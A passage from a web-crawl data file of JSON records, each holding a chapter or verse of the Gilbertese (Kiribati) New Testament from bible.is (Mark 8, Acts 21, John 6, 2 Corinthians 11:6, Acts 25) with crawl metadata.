iroumi? A taku, Itiai. 6E tuangiia aomata bwa a na teketeka i aontano; ao E anai kariki ake itiai, ao ngke E a tia n tataro ni katituaraoi, ao E urui kariki ao E anganiia ana reirei bwa a na kaaki i mataia aomata; ao ana reirei a kaaki i mataia aomata. 7Iai naba irouia tabeman te ika; ao ngke E a tia n tataro ni katituaraoi i bukiia, ao E tuangiia ana reirei bwa a na kaaki naba i mataia aomata. 8A amwarake, ao a ngae; ao a anai n tabeki nikira n amwarake ao a on iai bwaene aika itiua mwaitiia. 9Mwaitiia aomata tao aua tenga. Ao E kaokiia nako Iesu. 10Ao Ngaia, E waekoa n toka n te booti ma ana reirei ao E nako n aaba ake i Taramanuta. 11Iai Bwaritaio temwaangina ake a roko iroun Iesu ao a moanna ni kauntaeka ma Ngaia. A kani kamwanea, ma ngaia are a tuangnga bwa E na karaoa te mwakuri ae e kamiimii mai karawa, are e na kakoauaaki iai bwa iai onimakinana iroun te Atua. 12Ma Iesu, E kaota nanona ae e rootaki, ao E taku, E aera ngkae a ukoukora te mwakuri ae e kamiimii te roro aei? E koaua ae I tuangkami, bwa akea te bwai ni kakoaua ae a na anganaki. 13E kiitaniia, ao ngke E a manga toka i aon te booti, ao E nako n iteran te nama are teuana. 14A a tia ni mwaninga ana reirei n uoti kariki aika a tau, ao ti teuana ae iai irouia i aon te booti. 15E taku Iesu nakoia, Kam na tarataraingkami ao kaawakiningkami man aia iiti Bwaritaio ao ana iiti Erote. 16A maroro irouia ao a kaangai, E atonga aei ibukina bwa akea iroura te kariki. 17Ao Iesu, E ataa te bwai are a taekinna, ma ngaia are E taku nakoia, E aera ngkai kam karabakauakina taekan te akea ni kariki? A tuai n oota nanomi? Kam roo n nano? 18Iai matami, kam aki nooraaba? Ao iai taningami, kam aki ongo? 19Kam aki uringa te tai are I urui iai kariki ake nimaai i bukiia aomata ake nimanga? Irakora bwaene ake a on n nikira ake kam anai? A kaeka ao a taku, Tengauni ma uakora. 20Ao ngke I urui kariki ake itiai i bukiia aomata ake aua tengaa mwaitiia, ao irakora bwaene ake a on n nikira ake kam anai? A taku nakoina, Itikora. 21Ao E taku nakoia, Ao kam tuai naba n oota? 22A roko i Betetaita, ao iai aomata ake a kaira temanna ae e mataki nakon Iesu, ao a butiia Iesu bwa E na riingnga. 23E taua bain teuare e mataki, ao E kairia nako tinanikun te kaawa; ngke E tia Iesu ni bawarei matan teuarei, ao E katokai baina i aona, ao E titirakinna ni kaangai, Iai te bwai ae ko nooria? 24E tara rake teuarei ao e taku, I nooriia aomata, ma kaanga ai aron taraani kaai aika a nakonako. 25E a manga kaaki riki baina Iesu i aoni matan teuarei; ao ngaia, e kamatoai kanoani matana bwa e kan taratara, ao e oki ana taratara, ao e noori raoi bwaai nako. 26Ao Iesu E kaoka nako teuarei nakoni mwengana, ao E kaangai, Tai rin n te kaawa. 27Ao E nako Iesu ma ana reirei nakoni kaawa ake i Kaitareia Biribi. I aoni kawaia, ao E titirakiniia ana reirei ni kaangai, A taku aomata bwa antai Ngai? 28A kaeka ao a taku, A taku bwa Ioane Ngkoe, are te tia Bwaabetiito; ao temwaangina a taku bwa Eria; ao temwaangina, bwa temanna Ngkoe i buakoia buraabeti. 29E a manga titirakiniia riki ao E taku, Ao ngkami, kam taku bwa antai Ngai? E kaeka Betero ao e taku, Bon te Kristo Ngkoe. 30Ao E tuangiia bwa a na aki tuanga temanna taekana. 31Ao Iesu, E moanna n reireiniia ana reirei n ana taeka aika a kaangai: E riai bwa E na karawaawataaki Natin te Aomata, ao bwa E na ribaaki irouia unimwaane ao irouia ibonga ake a kakannato ma taani koroboki; ao bwa E na kamateaki, ao i mwiin tenibong, E na manga maiu. 32E kamaataataa raoi taekinan aei nakoia. Ao Betero, e kairia ni kaokoroa ao e takuia. 33E rairaki Iesu ao E taraiia ana reirei, ao E takua Betero n ana taeka aika a kaangai: Naako akuu Tatan! Bwa tiaki aron nanon te Atua nanom, ma ai aron nanoia aomata. 34Ao E weteiia aomata aika a bati ma ana reirei; ao ngke a roko, ao E taku nakoia, Ngkana iai ane e kan ri mwiu, ao e na kaakeaa i bon irouna; e na uota ana kaibangaki ao e na iriirai. 35Bwa ane e kani kaawakina maiuna, ao e na kabuaa; ma ane e na kabuaa maiuna i bukiu ao ibukin te euangkerio, ao e na kaawakinna. 36Bwa tera te raka ae e na karekea te aomata ngkana e bwaina te aonnaba ae e bwanin ma e kabuaa maiuna mai irouna? 37Bwa tera ae e konaa n anga te aomata bwa e na manga kaoka maiuna iai? 38Bwa ane e maamaa irou ao n au taeka n te roro ae e kaakeaa te Atua, ae te roro ae e buaakaka aei, ao Natin te Aomata E na maamaa naba irouna ngkana E roko ma mimitongin Tamana, ao raona anera ake a tabu.\nMAREKO 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/8","date":"2013-12-11T04:15:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164030978\/warc\/CC-MAIN-20131204133350-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":997,"character_repetition_ratio":0.054,"word_repetition_ratio":0.004,"special_characters_ratio":0.242,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a roko ara tai ni kiitaniia ao ti borau ni kaeta Koto, ao ti roko iai; ao ngke e a ingabong ao ti roko i Roriti, ao ti kiitanna n nako Batara. 2Ti noora iai te kaibuke tewaana are e na nako Boinike; ma ngaia are ti toka iai ao ti borau. 3Ngke e ria Kubero, ao ti kiitanna n ri maiakina ni borau nako Turia, ao ti aerake i Turo: bwa a kaerakeaki iai kaakoo. 4Ti kuneiia aomata aika a onimakina Iesu i Turo, ma ngaia are ti tiku iai itibong; ao a tuanga Bwauro, n aron tuangaia iroun te Taamnei are e Raoiroi, bwa e na aki waerake nako Ierutarem. 5Ao ngke a bane ara bong i Turo, ao ti mwananga n nako. A bakaborauiia te koraki arei ma buiia ma natiia nako tinanikun te kaawa; ao ti katorobubua i aon te bike, ao ti tataro. 6Ti kaboo ngkanne ma ngaiia, ao ti toka i aon te kaibuke; ao ngaiia a okiri mwengaia. 7E roko n tokina mwanangara mai Turo ngke ti roko i Betoremai, ike ti kamauriia iai taari, ao ti tiku irouia tebongina. 8Ao n te bong are i mwiina, ti nako ao ti roko i Kaitareia; ti rin n ana auti Biribo are te tia tataekina te euangkerio, are temanna i buakoia uaake itiman ngkoa; ao ti tiku irouna. 9Iai aman natina aine aika a tuai n iein, aika a tataetae ni buraabeti. 10Ao ngke ti tiku ikekei tabebong, ao e wairio te buraabeti temanna mai Iutaia, ae arana Akabo. 11Ngke e roko iroura, ao e anaa kabaean nuukani Bwauro, ao e kabae baina ma waena i bon irouna iai, ao e taku, Aikai ana taeka te Taamnei are e Raoiroi, Ane a na kabaea te aomata ae ana bwai te kabaea n nuuka aei I-Iutaia ake i Ierutarem, ao a na anga nako nanoni baiia aomata aika tiaki I-Iutaia. 12Ngke ti ongo taeka akanne ao ti kabanea ara buubuti nakoni Bwauro, ngaira ma aomata n te tabo arei, bwa e na aki waerake nako Ierutarem. 13E taku ngkanne Bwauronakoia, Tera ae kam karaoia ngkai kam kaatuumaua te tang, ma n urua nanou? Bwa I a tauraoi nakon tiaki ti te kabaeaki, ma nakon naba te mate i Ierutarem ibukin aran te Uea are Iesu. 14Ao ngke e aki iri nanora Bwauro, ao ti aki manga karongoaa i mwiin are ti kaangai, E na tauaki ana taeka te Uea. 15Ao i mwiini boong akekei, ngke ti a tauraoi, ao ti a waerake nako Ierutarem. 16A iriira tabemwaang mai buakoia reirei ake i Kaitareia, ao a kaira temanna ae Mwanaton ae te I-Kubero, ae te reirei nikawai, are ti na maeka irouna. 17Ao ngke ti roko i Ierutarem, ao ti mwaneaki n aakoaki ma te kukurei irouia taari ake a mena iai. 18N te bong are i mwiina ao ti airi ma Bwauro n nako ni kawara Iakobo; ao a bane n roko unimwaane iai. 19Ngke e tia ni kamauriia Bwauro, ao e a karakina ngkanne taekan te bwai teuana i mwiin teuana ni baike E karaoi te Atua ri nanon ana mwakuri ni mitinare i buakoia aomata aika tiaki I-Iutaia. 20Ao ngke a ongo, ao a karaoiroa te Atua, ao a takunakoina, Tarira, ko nooria bwa nga ma nga I-Iutaia aika a tia n rairaki, aika a rangi ni korakora nanoia n tangira te Tua; 21ao a a tia ni kaongoaki taekam bwa ko reireiia I-Iutaia ni kabaneia ake a maeka i tinanikun Iuta bwa a na kaaki taekan ana Tua Mote, ao ko tuangiia bwa a na aki koroberoaki aia ataei, ao a na aki iri nanon aia katei. 22Tera ngkanne ae e riai ni karaoaki? Ane a na bon ongo ae ko a roko. 23Ma ngaia are aei te bae ti na tuangko bwa ko na karaoia, Aman te aomata iroura aika a bae n aia taeka ni bau teuana; 24ko na kairiia ni kaitiakiko ma ngaiia, ao ko na kabwakai booni karea i bukiia, bwa a aonga ni korobuatauia; ao ane a na bane n ataia iai aomata bwa akea koauan taekam ake a a tia n tuangaki, ma ko bon nakonako naba i nanoni kaawakinan te Tua. 25Ma ti a tia ni korea ara reta nakoia aomata ake tiaki I-Iutaia, ake a tia n onimaki, ni kaota ara baaire bwa a na kaawakiniia mani kanakin amwarake ake a tia ni kareanaki nakoni bouananti; ao a na kaawakiniia naba man te kangi raraa, ao mani kanakiia maan aika a mate bwa a koonaki roroaia, ao man te wene ni bure. 26E anaiia ngkanne aomata akekei Bwauro, ao n te bong are i mwiina, ngke e tia ni kaitiakia ma ngaiia, ao e rin n te umwantabu n anga taekani kaitiakaia bwa te bongi ra are e na toki iai, are a na bane naba iai n anga karea ibukin temanna ma temanna irouia uaakekei. 27Ngke a a kaani koro boong ake itibong, ao a noora Bwauro I-Iutaia ake kaain Atia i nanon te umwantabu. A kakiriweeia aomata ni kabaneia, ao a tauua Bwauro; 28ao a takaarua ni kaangai, Mwaane aika Iteraera, buokira! Aio te aomata are e reireiia aomata n taabo nako bwa a na ekiia nako ara aomata aika Iteraera, ma te Tua, ma te tabo aei; ao e kairiia naba I-Erene ni kariniia n te umwantabu, ao e kamwaraaea te tabo ae tabu aei. 29Bwa a a kaman noora Terobimo are te I-Ebeto bwa raoni Bwauro i nanon te kaawa, ao a taku i nanoia bwa e a tia Bwauro ni kairia nako nanon te umwantabu. 30A bane ni kiriwe kaain te kaawa, ao a biri ni bootaki aomata ao a tauua Bwauro ni katikia nako mai nanon te umwantabu; ao a bonotaki naba ngkekei mataroa. 31Ngke a iangoia bwa a na kamatea, ao e roko te rongorongo irouni mataniwiin te taanga ni buaka, bwa e kiriwe aon Ierutarem. 32Ao ngaia e a kairiia ngkekei naba tautia ma mataniwi n taanga ni buaka ake kaka tebubua kaaia, ao a biri rio nakoia aomata; ao ngaiia, ngke a noora aia mataniwi tautia ma tautia, ao a katoka oreani Bwauro. 33E kaniia Bwauro ngkanne teuare aia mataniwi tautia n tauua, ao e tua bwa e na kabaeaki n taurekereke aika uaai; ao e titiraki bwa antai ngaia, ao tera ae e karaoia. 34A takaaruaea te bwai teuana temwaangina i buakon te koraki arei, ao temwaangina te bwai teuana; ma ngaia are ngke e aki konaa n ataa te koaua ibukini mangaoia aomata, ao e tua bwa e na kairaki Bwauro nakoni nneia tautia are e matoatoa. 35Ngke e roko i aon te tabo n nakonako ni waerake, ao e a uotaki ngkanne irouia tautia ibukin iowawaia aomata; 36bwa a iriia aomata aika a bati n rimwiia, ao a takaarua ni kaangai, Kamatea! 37Ngke e nang kairaki ni karinaki Bwauro i nanoni nneia tautia are e matoatoa, ao e taku nakon aia mataniwi tautia, E kariaiaki bwa N na taetaenakoim, ke e aki? Ao ngaia e kaangai, Ko rabakau n taetae n Erene? 38Tiaki te I-Aikubita arei ngkoe, are e kateirakea te kiriwe i nanon taai aika a bwaka nako, ao e kairiia angaa te aomata aika taan tiritiri n te biti nakon te rereua? 39Ao e taku Bwauro, Te aomata ae te I-Iutaia ngai, ae te I-Tareto are i Kirikia, ae kaain te kaawa ae e aki mangori; I butiiko bwa ko na kariaia bwa N na taetae nakoia aomata. 40Ao ngke e kariaia, ao e tei Bwauro n te tabo n nakonako ni waerake, ao e taotaona baina nakoia aomata. Ngke ai bon akea naba teutana te karongoaa, ao e taetaenakoia n te taetae n Ebera, ao e kaangai.\nMWAKURI 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21","date":"2013-12-12T00:16:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164116508\/warc\/CC-MAIN-20131204133516-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1281,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikekei ao E ri nanon namani Kariraia Iesu, are e aranaki naba bwa naman Tiberia, nakon iterana are teuana. 2A iria aomata aika a rangi ni mwaiti ibukina bwa a a tia n noori ana mwakuri aika a kamiimii ni kamaiuaia aoraki. 3E ararakea te maunga ae e aki rietaata Iesu ma ana reirei, ao a tekateka iai. 4E a kaan tain te Toa are te Riao, are aia bootaki ae e kakannato I-Iutaia. 5E tabeki matana Iesu ngkanne, ao ngke E nooriia aomata aika a rangi ni mwaiti bwa a nakoina, ao E taku nakoni Biribo, Ti na kaboo amwarake ia bwa kanaia aomata aikai? 6E atonga aei Iesu bwa E kani kataa Biribo: bwa Iesu E a boni kaman ataa are E na karaoia. 7E kaeka Biribo ao e taku, E aki tau uabubua te tenari bwa e na kabooaki iai te amwarake ngkai e na rangi n uarereke ae e na reke iai bwa kanan temanna ma temanna. 8E taku nakoina ana reirei temanna are Anterea, are tarin Timon Betero, 9Iai te teinimwaane ikai ae iai irouna nimaai te kariki are e karaoaki mani buraawa n te bware, ao uoman te ika; ma tera maneia nakoia aomata aikai ni kabaneia? 10E taku Iesu, Tuangia aomata bwa a na tekateka n rarikiriki. Bwa e bati te uteute n te tabo arei. A bane n tekateka aomata, ao tao nimangaa mwaitiia mwaane. 11E anai kariki akekei Iesu, ao E tataro ni katituaraoi, ao E anga bwa a na tibwaaki nakoia ake a tekateka. E karaoa naba ae aron aei nakon iika, ao a bane n reke tibwaia n ai aroni mwaitin are a tangiria. 12Ngke a ngae, ao E taku Iesu nakoia ana reirei, Ikoti nikiran amwarake, bwa akea teutana ae e na bakataeaki. 13Ma ngaia are a ikoti, ao a kaoni bwaene aika tengauni ma uakora ni mwakorokoron nikirani kariki ake nimaai ake a tia ni kang aomata. 14Ao aomata ngke a noora te bwai are e kamiimii are E karaoia Iesu, ao a taku, Bon aei te buraabeti are e nangi roko i aonnaba. 15Ngke E ataia Iesu bwa a nangi roko aomata n tauua ma te matoa bwa a na kaueaa, ao E a manga oki nako n te maunga, n ti Ngaia. 16Ngke e a kaani bong, ao a nako ana reirei nakon te nama; 17a toka i aon te booti, n ri nanon te nama nako Kaberenaum. E a bong, ao E tuai n roko Iesu irouia. 18E a roko buakan te nama ibukin te ang bwa e korakora karena. 19Ngke a a tia ni bwennarina i nanon tao tenua ke aua te maire, ao a noora Iesu bwa E nakonako i aon te nama, ni kaania te booti; ao a maaku. 20Ma E taku nakoia, Boni Ngai, tai maaku. 21A kukurei ngkanne ni katokaa Iesu n te booti; ao e waekoa naba n roko te bootti i eta n te tabo are a nakoiai. 22N te bong are i mwiina, ao aomata ake a mena i mainikun te nama a a tia n nooria bwa ti tewaana te booti ikekei, ao a ataia naba bwa E aki toka Iesu i rarikia ana reirei n te booti arei; a a tia n nako ana reirei n ti ngaiia. 23Ma iai tabewaa booti ake a roko mai Tiberia nako rarikin te tabo are a kang kariki iai aomata i mwiin ana tataro ni katituaraoi te Uea. 24Ma ngaia arei, ngke a nooria te koraki arei bwa E aki mena ikekei Iesu, ao akea naba ana reirei, ao a toka i aoni booti n nako Kaberenaum bwa a na ukoukora Iesu. 25Ngke a kunea Iesu te koraki arei i maeaon te nama, ao a taku nakoina, Te Tia Reirei, Ko roko ikai n ningai? 26E kaekaia Iesu ao E taku, Bon te koaua ni koaua ae I a tuangkami, bwa kam ukoukorai tiaki ibukina ngke kam noori mwakuri aika a kamiimii, ma ibukina ngke kam kang kariki ao kam ngae. 27Kam na aki mwakuri ni karekea te amwarake ae e kai buaakaka, ma kam na uaiakina reken te amwarake ae e teimatoa, ae te amwarake ibukin te maiu are e aki toki. 28Ma ngaia are a titirakinna ni kaangai, Tera ae ti riai ni karaoia bwa ti aonga ni karaoa iai are E tangiria te Atua? 29E kaeka Iesu ao E taku, Te bwai ae E tangiria te Atua bwa kam na karaoia bon aei: kam na onimakina ae E a tia ni kanakomaia. 30Ma ngaia are a taku nakoina, Tera te mwakuri ae e kamiimii ae Ko na karaoia bwa ti aonga n nooria, ao ti a kakoauako iai? Tera ae Ko na karaoia? 31A kangi manna ara bakatibu n te rereua, n ai aron are e koreaki ni kaangai: E anganiia te amwarake mai karawa bwa kanaia. 32E taku ngkanne Iesu nakoia, Bon te koaua ni koaua ae I a tuangkami bwa tiaki Mote ae e anganingkami te amwarake mai karawa, ma Tamau ae anganingkami te amwarake ni koaua mai karawa. 33Bwa te amwarake ae E anga te Atua boni Ngaia ae e ruo mai karawa, ao E anga te maiu nako aonnaba. 34A taku ngkanne nakoina, Te Uea, Ko na angaanganiira te amwarake anne n taai nako. 35E taku Iesu nakoia, Boni Ngai te amwarake ni kamaiu; ane e riki bwa au reirei ao e na bon aki baki, ao ane e onimakinai ao e na bon aki taka. 36Ma I a tia n tuangkami bwa e ngae ngke kam a tia n noorai, ma kam na bon aki onimaki. 37Aomata nako akana E anganai te Tama ao a na riki bwa au reirei; ao ane e riki bwa au reirei ao N na bon aki kabanea. 38Bwa I roko mai karawa, tiaki ibukini karaoan nanou, ma ibukini karaoan nanon Teuare e kanakomaiai. 39Aio nanon Teuare e kanakomaiai: E tangirai bwa N na aki kabuaa temanna i buakoia ake E a tia n anganai, ma N na manga kamaiuiia ni kabaneia n te kabanea ni bong. 40Bwa aio nanon Tamau: bwa ane e noora te Nati ma n onimakinna, ao e na reke irouna te maiu are e aki toki; ao N na manga kamaiua n te kabanea ni bong. 41A ngureakinna ngkanne I-Iutaia ibukina ngke E kaangai, Ngai te amwarake are e ruo mai karawa. 42Ao a taku, Tiaki Iesu Teuaei, are natin Iotebwa? Ti kinaa tamana ma tinana. E na kangaa ngkanne ni kaangai, I ruo mai karawa? 43E kaekaia Iesu ao E taku nakoia, Kam na katoki ngurenguremi. 44Akea ae e konaa n riki bwa au reirei ngkana e aki kairaki nakoiu iroun te Tama are e kanakomaiai; ao N na manga kamaiua n te kabanea ni bong. 45E koreaki irouia buraabeti ae e kaangai, A na bane aomata nako n reireiaki iroun te Atua. E riki bwa au reirei te aomata ane e ongo ma n reirei iroun te Tama. 46Tiaki nanona bwa iai ae e a tia n noora te Tama; ti Teuare mai iroun te Atua ae E a tia n noora te Tama. 47Bon te koaua ni koaua ae I a tuangkami bwa ane e onimaki ao e a reke irouna te maiu are e aki toki. 48Ngai te amwarake ni kamaiu. 49A kangi manna ami bakatibu n te rereua, ao a mate. 50Aio te amwarake are e ruo mai karawa, are e na kanna te aomata ao e na aki mate. 51Ngai te amwarake ae e reke te maiu maiai are e ruo mai karawa. Ane e kana te amwarake aei, ao e na maiu n aki tootoki; ao te amwarake ae N na anga ibukini maiun te aonnaba bon irikou. 52A kauntaeka ngkanne I-Iutaia i bon irouia, ao a kaangai, E na kangaa Teuaei ni konaa n anganiira irikona bwa karara? 53Ma ngaia are E taku Iesu nakoia, Bon te koaua ni koaua ae I a tuangkami, bwa ngkana kam aki kana irikon Natin te Aomata, ao kam aki nima raraana, ao akea te maiu i nanomi. 54Ane e kana irikou ao e nima raraau, ao e a reke irouna te maiu are e aki toki, ao N na manga kamaiua n te kabanea ni bong. 55Bwa bon te amwarake ni koaua irikou, ao bon te ninima ni koaua raraau. 56Ane e kana irikou, ma n nima raraau, ao e meemena i nanou, ao Ngai i nanona. 57Ngkai E kanakomaiai te Tama are mai irouna te maiu, ao Ngai I maiu ibukin te Tama, ao te aomata ngkanne ane e kanai e na maiu i bukiu. 58Aei te amwarake are e ruo mai karawa; tiaki aron te amwarake are a kanna ami bakatibu, ao a mate i mwiina. Te aomata ane e kana te amwarake aei, ao e na maiu n aki toki. 59E atongi baikai Iesu ngke E reirei ni mwaneabaia I-Iutaia i Kaberenaum. 60Ngke a ongo baikai mwaitiia ana reirei Iesu, ao a taku, A matoatoa taeka aikai; antai ae e konaa n ongoraa iai? 61E ataia Iesu i nanona ae a ngurengure ana reirei ibukin taeka akekei, ma ngaia are E titirakiniia ao E taku, A uruaki ami onimaki n taeka akekei? 62Iangoia bwa kaanga tera ae e na riki ngkana arona bwa kam noora Natin te Aomata bwa E rierake nakon te tabo are E mena iai ngkoa? 63Ae E anga te maiu bon Taamnein te Atua; akea irouia aomata ae e konaa ni karaoa aei. A riki taeka aika I a tia n atong bwa kawain rokon te Taamnei ao te maiu iroumi. 64Ma iai i buakomi aika a aki onimaki. Bwa Iesu E a kaman ataiia rimoa bwa antai ake aki onimaki, ao antai teuare e na kamwanea. 65Ao E a manga taku riki, Ao aei bukin are I tuangkami bwa akea te aomata ae e konaa n riki bwa au reirei, ma ti ngkana e anganaki te konaa iroun te Atua. 66I bukin aei, ao a kiitana Iesu ana reirei aika a mwaiti n aki manga kan airiiri ma Ngaia. 67E taku ngkanne Iesu nakoia uaake tengauni ma uoman, Kam na nako naba ngkami? 68E kaeka Betero ao e taku, Te Uea, ti na nako n antai? A mena iroum taeka aika e reke maiai te maiu are e aki toki. 69Ti kakoauako ao ti ataiko bwa Teuare Moan te Raoiroi Ngkoe, are Natin te Atua. 70E kaeka Iesu ao E taku, Tiaki I rineingkami ngkami aika tengauni ma uoman, ao bon te riaaboro temanna i buakomi? 71E taekina Iuta are natin Timon Itekariota, are temanna i buakoia uaake tengauni ma uoman, bwa ngaia are e na kamwanea.\nIOANE 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/6","date":"2013-12-06T14:44:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051984\/warc\/CC-MAIN-20131204131731-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1764,"character_repetition_ratio":0.062,"word_repetition_ratio":0.021,"special_characters_ratio":0.244,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:66Bwa ngkana tao I bangabwai n te aro n taetae, ma I aki n te ataibwai, ti a tia n aaro nako ao ni bwaai ni kabane ni kaoti arora aikai nakoimi. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/6","date":"2013-12-13T08:14:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164920374\/warc\/CC-MAIN-20131204134840-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000063180923462}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia are ngke e roko Beteto n te mwakoro are e na tau-taeka i aona, ao i mwiin tenibong, ao e waerake nako Ierutarem mai Kaitareia. 2A kaoti baike a bukina iai Bwauro ibonga ake mataniwi ma aomata ake a kakannato nakoni Beteto, ao a kairoroa ni butiia, 3bwa e na buoki nanoia ni kaoa Bwauro nako Ierutarem, bwa a a tia n tia aia iango bwa a na kamatea i aoni kawaina. 4Ma ngaia are e kaekaia Beteto ao e taku bwa e na kaawakinaki Bwauro i Kaitareia, ao ngaia e na nako ikekei i mwiin te tai ae e aki maan. 5Ao e taku, Ma ngaia ae a na wairio ma ngai aomata aika a mwaaka ni babaaire i buakomi, ao a na taekina bukinan te aomata arei, ngkana iai ana bure. 6Ngke e a tia Beteto ni mena i buakoia i nanon te maan ae e aki raka i aoni wanua ke tebwina te bong, ao e wairio nako Kaitareia; ao ngke e a ingabong ao e tekateka n te tabo ni motiki-taeka, ao e tua bwa e na kairaki Bwauronakoina. 7Ao ngke e roko Bwauro, ao a tei i rarikina I-Iutaia ake a roko mai Ierutarem ni kaoti ana bure aika a bati ma n rawaawata, aika a aki konai ni kakoauai. 8E taetae ngkanne Bwauro ni kaaitaraibukinana ao e taku, Akea te bwai ae I a tia ni karaoia ae e bure nakon aia Tua I-Iutaia, ma te umwantabu, ao nakoni kautuun te tautaeka n Rom. 9E kan tangiraki Beteto irouia I-Iutaia, ma ngaia are e taku nakoni Bwauro, Ko kan nako Ierutarem bwa N na motika taekam iai ibukinibukinam aikai? 10Ma e taku Bwauro, N na tei i matan ana kaboowi kautuun te tautaeka n Rom, are e riai ni motikaki taekau iai. Akea te bwai ae e bure ae I karaoia nakoia I-Iutaia, ao ko bon ataia. 11Ma ngaia aei, bwa ngkana I a tia ni karaoa ae e bure, ao I a tia ni karaoa te bwai ae e riai mateu iai, ao I aki rawa ni mate; ma ngkana tao akea nanoni baikana a bukinai iai, ao bon akea temanna ae e konaa n anganiia ngai. I buubuti bwa e na motika taekau kautuun te tautaeka n Rom. 12Ngke e tia n taetae Beteto ma kaain te kaboowi, ao e taku, Ko a tia ni buubuti bwa e na motikaki taekam irouni kautuun te tautaeka n Rom, ma ngaia are ko na nako ni kautuun te tautaeka n Rom. 13Ao i mwiin tabe bong ao e roko Akeribwa are te uea ma Nei Berenike i Kaitareia, ni kaota nanoia ni butimwaaea Beteto. 14A bati aia bong n tiku i Kaitareia; ao i nanoni boong akanne ao e karakina taekani Bwauro Beteto nakon te uea, ni kaangai, Iai te aomata ikai ae e kiitanaki ni kabaeaki irouni Berika; 15ao ngke I mena i Ierutarem ao a kaongoraaeai taekan teuaei ibonga ake mataniwi ma aia unimwaane I-Iutaia, ao a tangirai bwa N na motika taekana ni kaburea. 16Ma I tuangiia bwa n aia katei I-Rom ao a aki konaa ni kaburea te aomata ni karokoa ae e a tia n tei i matan te kaboowi n i taramata ma aomata ake a bukinna, ao ni karokoa naba ae e a tia n reke ana tai n taetae ni kaaitaraa bukinana. 17Ma ngaia are ngke a roko ikai, ao I aki tabwara bwa n te bong naba are i mwiina, ao I tekateka n te tabo ni motiki-taeka, ao I tua bwa e na kairakinakoiu te aomata arei. 18Ao ngke a tei rake taanibukinna n ekia nako, ao akea aia taeka ibukina ni kabuaakakaa n aron are I kaantaningaia; 19ma iai bwaai ake a kauntaekai ma ngaia ibukini baika a kaeti ma aia onimaki, ao ibukin naba temanna, ae Iesu, ae e mate, ae e taku Bwauro bwa E maiu. 20Ao ngke I aki ataa ae N na karaoia ibukin te kauntaeka i aoni baikanne, ao I titirakinna bwa e kan nako Ierutarem ni kaboowiiaki iai ibukini baikanne ke e aki. 21Ma ngke e taetae Bwauro bwa e na kaawakinaki i mwaaini motikan taekana irouni kautuun te tautaeka n Rom, ao I tua bwa e na kaawakinaki ni karokoa kanakoana irou nakoni kautuun te tautaeka n Rom. 22Ao e taku Akeribwa nakoni Beteto, I kan ongoraa naba ngai iroun te aomata anne. Ao ngaia e taku, Ko na ongoraa irouna ningabong. 23Ma ngaia are ngke e a ingabong, ao e roko Akeribwa ma Berenike ma te aro ni karinerine ae e bati irouia aomata, n rin n te tabo n ongoraa ma aia mataniwi nako tautia ma aomata ake a kakannato n te kaawa arei. E tua ngkanne Beteto bwa e na kairaki Bwauronakoia. 24Ao e taku Beteto, Te uea ae Akeribwa, ao ngkami ni kabaneingkami aika kam mena ikai ma ngaira, kam noora teuaei, ae a bane I-Iutaia ake i Ierutarem ao ikai naba ni kawarai ibukina, ao a kanenei bwanaaia n taku bwa e aki riai ni kamaanaki riki ana tai ni maiuna. 25Ma I kunea bwa akea te bwai ae e a tia ni karaoia ae e riai matena iai; ma ngke e taetae bwa e na motikaki taekana iroun Aukitito, ao e reke nanou bwa N na kanakoanakoina. 26Ma akea irou taekana ae e ataaki raoi ae N na koreia nakoni kautuun te tautaeka n Rom. Ma ngaia ae I kairia mai nako matami, ao ai moara riki nako matam, te uea ae Akeribwa, bwa i mwiini kakaaean taekana iroura ao tao a konaa n reke baika N na korei taekaia. 27Bwa I taku bwa e aki riai ae N na kanakoa te bure ao akea taekana ae e na kaoti baika e bukinaki iai.\nMWAKURI 25","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/25","date":"2013-12-10T09:46:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164014852\/warc\/CC-MAIN-20131204133334-00082-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 